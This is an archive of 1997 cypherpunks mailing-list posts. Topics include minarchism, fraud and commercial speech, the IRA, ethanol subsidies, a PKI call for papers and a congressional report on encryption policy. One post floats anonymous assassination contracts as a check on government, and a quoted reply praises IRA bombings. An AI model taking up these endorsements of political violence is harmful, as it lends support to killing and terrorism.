> you have a reason to do so. Not everything the government does is wrong,
> only because it is done by the government.

There we disagree. I believe the scale of crimes commited by governments 
as a whole varies from government to government, and from one time to 
another. However, the natural "evolutionary" process of government always 
results in a pervasive state which controls more than it should. This is 
why, although I support the ideals and sentiments behind minarchism, I do 
not believe it is possible, without systems such as AP, or simply 
anonymous assasination contracts, to support minarchist government and 
keep it stable and static. (maybe, even though Jim Bell intended AP to 
support and maintain anarchy it might lead to more stable minarchist 
government by providing a means of removing those who go too far in their 
search for power?).

Even then though, I cannot see how a stable minarchist state can be 
created which we can be assured will remain static in it`s powers, and 
the very notion of a state which has certain powers at its disposal, even 
if it does not use them, does not leave me with a good feeling.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"

 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 9 Jun 1997 04:36:33 +0800
To: rah@shipwright.com>
Subject: Re: FC97 in July Wired
Message-ID: <v03020914afc071401b5b@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



About the third thing I imagined, after imagining the world's first
financial cryptography conference, and, better yet, having it on Anguilla
in February; and, after imagining it as Wired's featured 'Deductible
Junket'; was imagining a nice feature article in Wired on the conference
after it was all over.

Thanks to Charles Platt, I now figure I can die and go to heaven, as all
three have happened. :-). Out of Town Newspapers in Harvard Square says
they'll have the July Wired next Friday. It appears that Vince gets a
subscription down in Anguilla, which got there yesterday, and probably
everywhere else, I reckon. So, the checks may take 90 days to clear in
Anguilla, but at least the mail gets there on time...

Stay tuned for details (as we imagine them :-)) about FC98, and about the
FC97 conference proceedings, which should be published by Springer-Verlag
this summer.



Cheers,
Bob Hettinga,
General Chairman,
Financial Cryptography, 1997/98,
Anguilla, BVI

P.S. if you, or anyone you know, is interested in FC98 sponsorship or
exhibition space opportunities, please contact me.

--- begin forwarded text


Resent-Date: Sun, 8 Jun 1997 08:57:10 -0400
X-Authentication-Warning: online.offshore.com.ai: list set sender to
fc97-request@offshore.com.ai using -f
Date: Sun, 8 Jun 1997 08:57:04 -0400 (AST)
From: Vincent Cate <vince@offshore.com.ai>
To: fc97@online.offshore.com.ai
cc: ois-news@online.offshore.com.ai
Subject: FC97 in July Wired
MIME-Version: 1.0
Resent-From: fc97@offshore.com.ai
X-Mailing-List: <fc97@offshore.com.ai> archive/latest/57
X-Loop: fc97@offshore.com.ai
Precedence: list
Resent-Sender: fc97-request@offshore.com.ai


The July issue of Wired magazine has an article about the Financial
Cryptography 97 conference held in Anguilla.

    -- Vince

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 Vincent Cate                           Offshore Information Services
 Vince@Offshore.com.ai                  http://www.offshore.com.ai/
 Anguilla, BWI                          http://www.offshore.com.ai/vince
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 9 Jun 1997 07:05:41 +0800
To: cypherpunks@cyberpass.net
Subject: Fraud and free speech
In-Reply-To: <199706081255.HAA03281@mailhub.amaranth.com>
Message-ID: <v03102802afc0e602d172@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:51 AM -0700 6/8/97, William H. Geiger III wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>In <Pine.GSO.3.95.970608053415.20770A-100000@well.com>, on 06/08/97
>   at 07:36 AM, Declan McCullagh <declan@well.com> said:
>
>>I don't think commercial speech should be treated as second-class speech.
>>But my position is hardly surprising.
>
>Well I think that there are some that would confuse the issue between 1st
>Amendment free speech and the issues surrounding fraud. Especially those
>in government who write the laws that regulate commercial speech.

The mistake has been to extend "fraud" laws to non-contract situations,
e.g., ordinary speech (as distinguished from contracts).

If the Catholics say drinking the blood of JC and eating a piece of his
flesh (aka, "Jesus sashimi") will get you into Heaven, is this fraud or not?

In the increasingly popular notion of fraud, sure it is. It is a statement
or assurance which is almost certainly false. But then, aren't all
religions frauds?

Contracts, with clearly stated conditions and with judgeable or
falsifiable/testable conditionals, are a matter for the courts (private
courts, in fact), but vague promises, advertisements, propaganda, etc. are
not.

Clear now?

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 9 Jun 1997 04:35:47 +0800
To: cypherpunks@toad.com
Subject: Call for Papers: Jurimetrics Special Edition on PKI
Message-ID: <v03020917afc0c0d9044f@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Authentication-Warning: blacklodge.c2.net: majordom set sender to
owner-spki@c2.org using -f
X-Sender: baum@world.std.com
Date: Sun, 08 Jun 1997 09:46:14 -0400
To: spki@c2.net
From: "Michael S. Baum" <michael@verisign.com>
Subject: Call for Papers: Jurimetrics Special Edition on PKI
Mime-Version: 1.0
Sender: owner-spki@c2.net
Precedence: bulk


*** Announcement ***


JURIMETRICS

Winter 1998

Special Issue on Public Key Infrastructure

(Security in Electronic Commerce: Technology, Infrastructure and
Practices for Certification Authorities and Digital Signatures)



I. Contents of this Solicitation

· General Information
· Call for Papers
· Criteria for Papers
· Submission Information
· Important Dates
· Virtual Conference
· Organization
· Inquiries


 II. General Information

We are pleased to announce the planned publication of a special issue of
the Jurimetrics Journal of Law, Science and Technology that will
exclusively address public key infrastructure (PKI) -- the law and
technology of certificate-based digital signatures and secure electronic
commerce. This announcement solicits articles for consideration for this
special Winter 1998 issue, which is intended as a forum for attorneys,
technologists, developers, and users interested in the legal aspects and
implications of PKI.

Jurimetrics Journal of Law, Science and Technology, published quarterly, is
the journal of the American Bar Association Section of Science and
Technology and the Center for the Study of Law, Science and Technology of
the Arizona State University College of Law.

The Information Security Committee, Electronic Commerce Division, Section
of Science and Technology of the American Bar Association (ISC) explores
and develops legal policy and foundation to support PKI and secure
electronic commerce. The ICS's current endeavors include research and work
product concerning: accreditation of certification authorities, commercial
key escrow guidelines, PKI evidentiary issues, digital signature
legislative initiatives, CA and user liability, and other legal issues
relating to secure electronic commerce. The discussions are moderated by
the relevant Work Groups of the ISC, and the ISC is open to professionals
of all disciplines with similar interests. In August l996, the ISC
published the Digital Signature Guidelines.  See Tutorial, Table of
Contents, and List of Contributors of the Digital Signature Guidelines at
http://www.abanet.org/scitech/ec/isc/dsg-tutorial.html.


 III. Call for Papers

 Papers are invited on all subjects related to applications of PKI and
their corresponding legal issues. The special edition is structured as
follows:

· Preface
· Introduction
· Tutorial, Architecture and Technology
· International Issues
· Liability, Contractual, Intellectual Property, and other Substantive
Legal Issues
· Government - Legislative, Regulatory, Policy, Enforcement
· Accreditation of Certification Authorities (including licensure and other
quality issues)
· Miscellaneous

Papers submitted should be concise and focused on the kernel rather than
exhaustive detail of new ideas intended to be communicated.  Papers should
not restate basic PKI technology but instead refer to the common tutorial
located in the introductory materials.

We thank you in advance for your submissions to this special issue of
Jurimetrics on PKI.


IV. Criteria for Papers

Preference will be given to papers that comply with the following criteria:

· are no longer than 8,000 words (under 10 pages, 12 point type, single spaced)
· provide appropriate annotation
· include URLs in annotations, where available
· consider both legal and technical issues/implications
· involve joint authorship between a lawyer and technologist
· are original works not previously published elsewhere
· conformance to the instructions for prospective Jurimetrics authors
posted at    http://www.asu.edu/law/jurimetrics/author.htm


 V. Submission Information

Send brief but informative abstract of one or two pages as an email
attachment to jurimetrics@cnidr.org. If possible, please use Word 6.0
(Office 95) to facilitate handling. A one paragraph bio is also requested
but not required.


 VI. Important Dates

· Abstracts must be submitted by: 25 June 1997
· Deadline for submission of drafts: 15 October 1997
· Final version ready, after all cite checks and editorial changes: 31
December 1997
· Publication of Jurimetrics special issue on PKI: February 1998


VII. Virtual Conference

All papers accepted to Jurimetrics Winter 1998 special issue on PKI will
appear in full or abstract form in a Virtual Conference Center hosted by
the ISC.  The PKI community will have the opportunity to participate in
discussions with the authors using e-mail and the World Wide Web. The
Virtual Conference Center will feature a variety of electronic for a
moderated by leading PKI experts for the facilitation of communication
within the virtual PKI/law & technology community.


VIII. Organization for the Jurimetrics Special Issue on PKI

Guest Editor-in-Chief:

     Michael S. Baum, Esq., VP, Practices and External Affairs, VeriSign, Inc.

  Associate Guest Editors:

     Joseph H. Alhadeff, Esq., Director, Electronic Commerce, U.S. Council
for Int'l Business (USCIB)
     Warwick Ford, Ph.D., Director, Advanced Technology, Verisign, Inc.
     Theodore Ling, Esq., Baker & McKenzie, Toronto, Ontario.
     Charles R. Merrill, Esq., McCarter & English, Newark, NJ.
     Arthur F. Purcell, J.D., International Project Specialist, US Patent &
Trademark Office
     Ruven Schwartz, Esq., Info. Security, West Group Business Manager


XI. Inquiries

If you need help or have questions which are not answered in the above
information, please e-mail: jurimetrics@cnidr.org

***





--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 8 Jun 1997 22:47:23 +0800
To: cypherpunks@toad.com
Subject: ethanol, which is a fuel made from a mixture of corn and your tax dollars
Message-ID: <199706081425.QAA05869@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



June 6, 1997
Potomac Watch
Guess Who's Trying To Save Corporate Welfare

By PAUL A. GIGOT

Let us now break this column's recent pattern and praise a Republican.
He's Texan Bill Archer, who is taking a run at the federal government's
worst case of corporate welfare. He has just one problem: Other
Republicans, notably the speaker of the House.

Mr. Archer wouldn't have sat in the minority for 24 years if he wasn't
willing to tilt at windmills. But now that he's running the tax-writing
Ways and Means Committee, his tilting matters. So this year he's aiming
at ethanol, which is a fuel made from a mixture of corn and your tax
dollars. He has enough votes to get the bill through his committee, and
it could pass Congress if the GOP leadership gave it a push.

The entire corporate welfare debate is a good test of whether the GOP's
ultimate loyalties lie with business, or with taxpayers. The ethanol
savings would be only a couple of billion dollars, but in today's
Washington we have to be grateful for small favors. By shutting down
this corn sluice, Republicans would show they can ox their own political
gore. They'd also create more space for tax cuts that'd help more
Americans, such as for capital gains.

?

The political timing won't get any better. When Mr. Archer first tried
this in late 1995, Bob Dole, self-described Senator Ethanol, hadn't yet
retired. The presidential caucuses in Iowa, ethanol's Elysian fields,
were three months away, not three years as they are now.

Archer-Daniels-Midland Co., the political benefactor and ethanol
beneficiary, hadn't yet pleaded guilty to price-fixing charges.
Farm-state Republicans had more leverage over their leadership in 1995
because the GOP was trying to pass a budget with only GOP votes. Now in
bipartisan mode, Republican leaders can pick up some Democrats to keep a
majority.

All of which puts the pressure squarely on Newt Gingrich, who has to
decide if he again wants to rescue the ethanol subsidy at the House
Rules Committee pass. That's what he did in 1995 after consulting
Senator Ethanol. The speaker explained to some of us then that killing
the subsidy was too politically risky while Republicans were trying to
change so much of the rest of the government.

But Republicans are now trying to change very little of the government,
and Mr. Gingrich is still resisting. "I do not believe it is possible in
this Congress to eliminate the ethanol tax break," the speaker told
reporters this week. That's analysis masking incumbent protection. The
speaker is fronting for members who don't want to cast any difficult
votes this Congress.

Those members include several ferocious Republican opponents of the
welfare state, nonfarm version: Nebraska's Jon Christensen, erstwhile
revolutionary; John Boehner, from the farm state of greater Cincinnati;
Henry Hyde of the poverty-stricken Chicago suburbs; Michigan's Fred
Upton, the renowned budget balancer; and Helen Chenoweth, Idaho's
scourge of Big Government.

Perhaps they were inspired to sign a letter embracing ethanol subsidies
by another co-signer, the greatest class warrior in all of Congress,
Michigan Democrat and man of the people, David Bonior. He's now earned
the title of Congressman Ethanol.

This crowd must have missed a recent General Accounting Office report,
which found that the ethanol subsidy justifies none of its political
boasts. It doesn't help air quality much, hardly reduces U.S. dependence
on foreign oil and shovels much of its benefit to big ethanol producers.

"Sixty-five percent of capacity is owned by the three largest firms, and
the largest firm, Archer-Daniels-Midland, owns 50% of capacity," says
the GAO study. Some things dubbed "corporate welfare" are arguably
useful, but this isn't one of them.

What's most notable, and depressing, about all of this is that it
symbolizes the GOP Congress's change from reformers to incumbents. A
majority Democratic coalition is naturally held together by its power to
dispense government favors. But Republicans won their majority in 1994
running on ideas and reform.

The danger for Republicans is that they are slowly evolving into a
majority whose main rationale is keeping power. "That's what I fear more
than anything," says Indiana Rep. David McIntosh, who voted against the
budget deal for that reason. This may let Republicans keep their
majority in 1998, but it hardly offers much reason to increase it, or
much of an agenda. And sooner or later even House Democrats will figure
out they can win back the House if they depict Republicans as the party
of status quo government.

All politicians claim to hate corporate welfare, but they vote for it
when only the beneficiaries are watching. They could learn from T.J.
Rodgers, the Silicon Valley entrepreneur, who has rounded up 61 fellow
high-tech CEOs to say they support cutting corporate subsidies, even if
it means giving up their own federal grants. Republicans are supposed to
believe this too, as Bill Archer, to his credit, is reminding them.

--from the Wall Street Urinal, used without permission, all rights
ignored.













From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 9 Jun 1997 00:13:33 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: <o8eZ8D31w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.91.970608163357.917A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > Well I can only see this as a good thing. :)
> >
> > It is the people of England that support that illegal occupation of Irish
> > soil by Brittish troops. It is only right that they should have to suffer
> > the consequences.
> 
> Paul,
> 
> The reason why the IRA bombs (or threatens to bomb) targets all over the UK
> is that they want to make the voting public so sick and tired of the status
> quo in NI that they'll demand a pull-out, which is just what the IRA wants.

Yes, I think you will also find that most people in mainland England 
don`t really have an opinion one way or the other, they vaguely feel that 
the British should pull out of NI because they want to stop the bombings, 
they also vaguely feel that would be giving in to "terrorists".

> The UK is a democracy - supposedly it's up to the voters to decide if they
> want the UK to stay in NI, so the voters are being "persuaded".
> 
> The PLO used a similar successful strategy to convince Israeli voters to
> agree to peace talks.

One of the reasons I don`t really have a strong opinion one way or the 
other about the NI question is because I believe a British withdrawal 
would simply result in the replacement of one set of corrupt political 
rulers with another. The Irish parliament is no better than any other 
government, no suprise there.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 9 Jun 1997 00:41:05 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <T2eZ8D30w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.91.970608163912.917B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> 
> Troll: and how about them proposed restrictions on tobacco advertising...
> 

Troll-Response: The UK government has recently proposed a ban on all 
tobacco advertising (should be in place within a few months) including 
sponsorship of sport etc. Time to dust of the barbeque, we`re gonna have 
us a statist roast ;-)...

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 9 Jun 1997 00:22:25 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <19970608065652.41575@bywater.songbird.com>
Message-ID: <Pine.LNX.3.91.970608164435.917D-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> The prospectus is a legal document -- part of the contract between the
> mutual fund and the customer. 
> 
> So, the question is, should there be any legal constraints on the 
> "speech" in contracts?  

Of course, a contract is a binding document, that does not imply that 
there should be any legal constraint on the speech within that contract. 
If I sign a contract which says that I must kill myself on demand, and 
the penalty for breach of contract in this case is a fine of say $5000, I 
am certainly stupid if I sign such a contract, assuming that is that I am 
logical and not suicidal, I must later decide if I value my life at over 
$5000, I assure you, this is not a difficult question to answer ;-).

The point is that breach of contract shouldn`t be a criminal offence, it 
is a civil offence, and the penalties for breach of contract should be 
agreed during negotiation of that contract. Therefore, I must evaluate 
for myself if I consider the contract to be reasonable and if I consider 
the penalties for breach of that contract too great to risk incurring 
such penaties. There is no reason to suggest that contractural speech is 
protected in this fashion, as it is an agreement and not pure speech.

>Can I sign a contract, and later be able to 
> say "Oh, *that* clause!  That was just a *joke*"?

This is a straw man, there is no way you can equate contractural speech 
and other forms of speech, one takes the form of an agreement, the civil 
crime commited on breach of contract is not a form of speech, it is an 
overt act which breaks that contract. 

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 9 Jun 1997 10:08:44 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Fraud and free speech
In-Reply-To: <v03102802afc0e602d172@[207.167.93.63]>
Message-ID: <v03102804afc0fc8e1db0@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:14 PM -0700 6/8/97, William H. Geiger III wrote:

>Well I would have to dissagre. Advertisements should be covered under
>contract law as verbal contracts. If I advertise that "X" does "Y" but it
>really does "Z" then this is clearly fraudulent behavior.

When I was growing up, advertisements that a product would make one
attractive to women, for example, were treated as marketing jive. And we
were all taught the old saw, "If Johhny told you to jump off a cliff, would
you?" (This along with "sticks and stones" formed the basis of my
proto-libertarian view.)

An advertisement is a tease, not a promise. If a advertisement for a
Pentium says it will run Macintosh software and run it at 600 Mhz, the
proper response is skepticism, not demanding a law be passed to stop such
advertisements.

The key lies in proper contracts, not in regulating speech.

(Oh, and it almost goes without saying that the same "lies" William and
others are so worried about in "commercial" speech happen all the time in
non-commerical speech. For every example of where commercial speech
involves lies or fraud, I can find similar or fully equivalent
non-commercial examples, ranging from lies like "I love you" to get a
partner into bed to deliberate misstatements to mislead an opponent. Why
should such "lies" be protected while putatively commercial speech is to be
subjected to an increasing number of limitations?)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 9 Jun 1997 07:47:31 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Fraud and free speech
In-Reply-To: <v03102802afc0e602d172@[207.167.93.63]>
Message-ID: <199706082331.SAA10511@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03102802afc0e602d172@[207.167.93.63]>, on 06/08/97 
   at 03:48 PM, Tim May <tcmay@got.net> said:


>At 5:51 AM -0700 6/8/97, William H. Geiger III wrote:
>>-----BEGIN PGP SIGNED MESSAGE-----
>>
>>In <Pine.GSO.3.95.970608053415.20770A-100000@well.com>, on 06/08/97
>>   at 07:36 AM, Declan McCullagh <declan@well.com> said:
>>
>>>I don't think commercial speech should be treated as second-class speech.
>>>But my position is hardly surprising.
>>
>>Well I think that there are some that would confuse the issue between 1st
>>Amendment free speech and the issues surrounding fraud. Especially those
>>in government who write the laws that regulate commercial speech.

>The mistake has been to extend "fraud" laws to non-contract situations,
>e.g., ordinary speech (as distinguished from contracts).

>If the Catholics say drinking the blood of JC and eating a piece of his
>flesh (aka, "Jesus sashimi") will get you into Heaven, is this fraud or
>not?

>In the increasingly popular notion of fraud, sure it is. It is a
>statement or assurance which is almost certainly false. But then, aren't
>all religions frauds?

>Contracts, with clearly stated conditions and with judgeable or
>falsifiable/testable conditionals, are a matter for the courts (private
>courts, in fact), but vague promises, advertisements, propaganda, etc.
>are not.

>Clear now?

Well I would have to dissagre. Advertisements should be covered under
contract law as verbal contracts. If I advertise that "X" does "Y" but it
really does "Z" then this is clearly fraudulent behavior.

The difficulty is in proving that "X" does "Z" and not "Y" but that is an
exercise left to the civil courts.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM5tBtI9Co1n+aLhhAQHgOQQAnlWK4zx73nDMjx0e794RgW9Gu9QiFZLY
9fxxp8O2jX/Udky5sD6ojtQedvWQu39P05YLtf/UkUZfPsd27dbNhEiuPNEQxFPN
6IId9BJ2ts+fc+ZeWEzNdnEXjJ9Yar/9ysIrt2fC2nfv1BYUs57uinU9kAj0bO30
Jbek/gI+sSg=
=ZMKe
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 9 Jun 1997 01:55:22 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <caNZ8D36w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.91.970608181444.1220A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > <sigh> Ofcource what I say in a contract is "free". I can say anything I
> > want in a contract solong as the parties involved agree.
> 
> Are ads a part of the contract, though?

I wouldn`t say so, in the UK the DTI and the Director of fair trading 
regulates the market in such a way that one cannot make claims that are 
known to be false in advertisements. To use your example, if you post an 
ad saying Borscht <sp?> cures cancer, and someone buys beet from you as a 
cure, you will normally have a contract of sale which says "...beet will 
cure all cancer and the customer will regain normal health in this 
respect" etc. etc. If the customer then dies of cancer, you have breached 
that contract. However, the advertisment itself does not take the form of 
a contract, or part thereof, if you had not sold the beet, but only said 
that it cures cancer, your advertisement would have been pure protected 
speech. Besides which, anyone buying Borscht to cure cancer is 
probably better removed from the gene pool anyway ;-).

> If I enter into a sales contract with Kent to give him borsch to cure
> his cancer, and this is not an FDA-approved treatment, then this contract
> is against public policy and shouldn't be enforceable. :-)

Exactly, but of course your only real crime would be the breach of 
contract, not the FDA-Non approval, this breach would of course be a 
civil crime the penalties for which would be part of the contract or 
defined in an external "default penalties" contract which would be 
implicitly #included into the original contract.

> But to convict me of fraud, the gubmint should prove that borshch doesn't
> cure cancer.  How would one prove that?

This is why I think such a contract would not occur, even if it were a 
more sensible example (eg. a few years ago before the mainstream tests, 
saying that AZT prolonged the life of HIV carriers), more likely the 
contract would say that the AZT/Borscht etc. "increased the probability 
of cure/increased the probability of living longer" etc. This would be 
virtually impossible to disprove, unless the improvement probability 
were to be specified. To disprove that Borscht cures cancer 
would be a simple matter which I leave as an exercise to the reader ;-).

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 9 Jun 1997 07:21:37 +0800
To: cypherpunks@toad.com
Subject: Dems Critique Crypto Policy
Message-ID: <1.5.4.32.19970608230146.0098ceec@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



These views from Democratic legislators on the SAFE
crypto bill is excerpted from House Report 105-108, dated 
May 22, 1997, which reports on the recent hearing testimony, 
DoJ's critique, and Goodlatte's responses to administration 
criticism. It cites the Blaze et al report on the risks of key
recovery, Sun's alliance with Elvis, current litigation and
non-US commercial exploitation of the crypto stalemate.

   http://jya.com/hr105-108.htm  (94K)

-----

                    ADDITIONAL MINORITY VIEWS

                                   John Conyers, Jr.
                                   Rick Boucher.
                                   Zoe Lofgren.
                                   Maxine Waters.
                                   William Delahunt.
                                   Martin T. Meehan.

    We offer these additional views not to foment dissent but
to encourage dialogue with the Administration on the issues
related to encryption. We would like to work with federal law
enforcement and national security agencies to address their
concerns.

    We sympathize with the difficulties faced by investigative
and security agencies in combating crime, terrorism, and
espionage. We believe it is quite legitimate for the
Administration to be concerned about the uncertain impact that
strong and ubiquitous encryption products may have on law
enforcement and national security agencies. We realize that it
may ultimately become impossible for government agencies to
decipher intercepted or retrieved data and communications that
have, by encryption, been transformed into a seemingly
unintelligible form.

    We recognize the days of cracking strong codes are nearly
gone. Unbreakable codes (256-bit key algorithms can generate
more possible solutions than there are particles in the known
universe) are already widely known. Private security experts
and sophisticated hackers have already realized this and are
beginning to develop ways of attacking the vulnerable points
before and after the information is encrypted (i.e., on the
sender's hard drive or at a ``good-guy'' recipient such as a
bank). We suspect that law enforcement and national security
experts within the government are acquiring similar
capabilities. But these alternative (and more subtle)
approaches are not reflected in the Administration's current
public policy toward encryption.

    The Administration's current encryption policy, a policy
that runs back at least to the Bush Administration, creates
more problems than it resolves. The policy is a combination of
encryption export controls and a key escrow system by which the
key to the code encrypting the information is to be held by a
third party (so it may be made available to the government).

    We need to be honest about this situation. We don't expect
most narcotics traffickers, terrorists, or criminals to respect
export restrictions on encryption when they don't respect our
underlying drugs or weapons laws. And we don't generally expect
anyone who employs encryption in furtherance of a crime to
readily give their keys to some third party so they may be made
available to the government.

    The Administration maintains that there is a commercial
need for key recovery. While that may be true to some extent,
there appears to be little or no demand for the all-
encompassing system they want to mandate. Experts have
uniformly concluded the government's proposed system is either
excessively costly and complex or insecure. In part, this is
true because the government seeks access to real-time
communications and data transmissions, rather than the ability
to recover stored data.

    The Administration insists it doesn't want domestic
restrictions on encryption. We are concerned, however, that the
Administration policy does have this effect. Development of
software programs, including those utilizing encryption, occurs
at an amazingly rapid pace, so it is not feasible for computer
software and hardware companies to develop separate products
for export and for domestic use. As a result, as a practical
matter, only products that are exportable, with weaker
encryption or with government-approved key recovery-escrow, can
be marketed at present.

    We fear that current encryption policy, encouraging as it
does weaker encryption, makes every American more vulnerable to
illicit or surreptitious access to our computer files, our
phone conversations, and personal information, and thus exposes
our citizens to hackers, terrorists, and thieves. It is ironic
that what is trumpeted as an aid to law enforcement may
instead compromise individual and corporate security.

    What we have here is not only a combination of export
controls and a key recovery system that does not work, we have
a system that compromises the competitiveness and security of
this nation's software and hardware industry, as well as our
privacy rights. As conceded by Administration witnesses, the
proposed key recovery system can succeed only as long as there
is no non-conforming encryption software readily available in
the market. But there is already an abundance of such software,
some of it freeware, that is readily available over the
Internet.

    The proposed key recovery system can not work unless the
United States persuades every other nation to adopt key
recovery. We can safely say we are unlikely to obtain the
agreement of Libya, Iran, Iraq, or North Korea. In addition,
the efforts to date of David Aaron, U.S. Ambassador to the
Organization for Economic Cooperation and Development (OECD),
to obtain a consensus in support of key recovery resulted
instead in a consensus opposing it.

    The Administration's policy has therefore been a strong
market incentive:

          (a) for non-participants (in the Administration's key
        escrow program) to make non-standard, secure encryption
        available, and

          (b) for U.S. companies to set up abroad in
        "encryption havens'' so they may legally market
        strong, secure encryption products to customers who
        decline to make their "international key'' available
        to diverse governments around the world.

There are already U.S. companies establishing ties with foreign
companies in Japan, Russia, and elsewhere.

    Nor is this policy without its cost. It is estimated that,
if the U.S. persists in its current policy through the year
2000, we shall lose 200,000 jobs and $60 billion each year.
This is what it will cost this nation to lose the cryptography
lead we enjoy and the competitive expertise necessary to
maintain our market position.

    Unfortunately, our discussions to date with law enforcement
and intelligence agencies have not admitted of the possibility
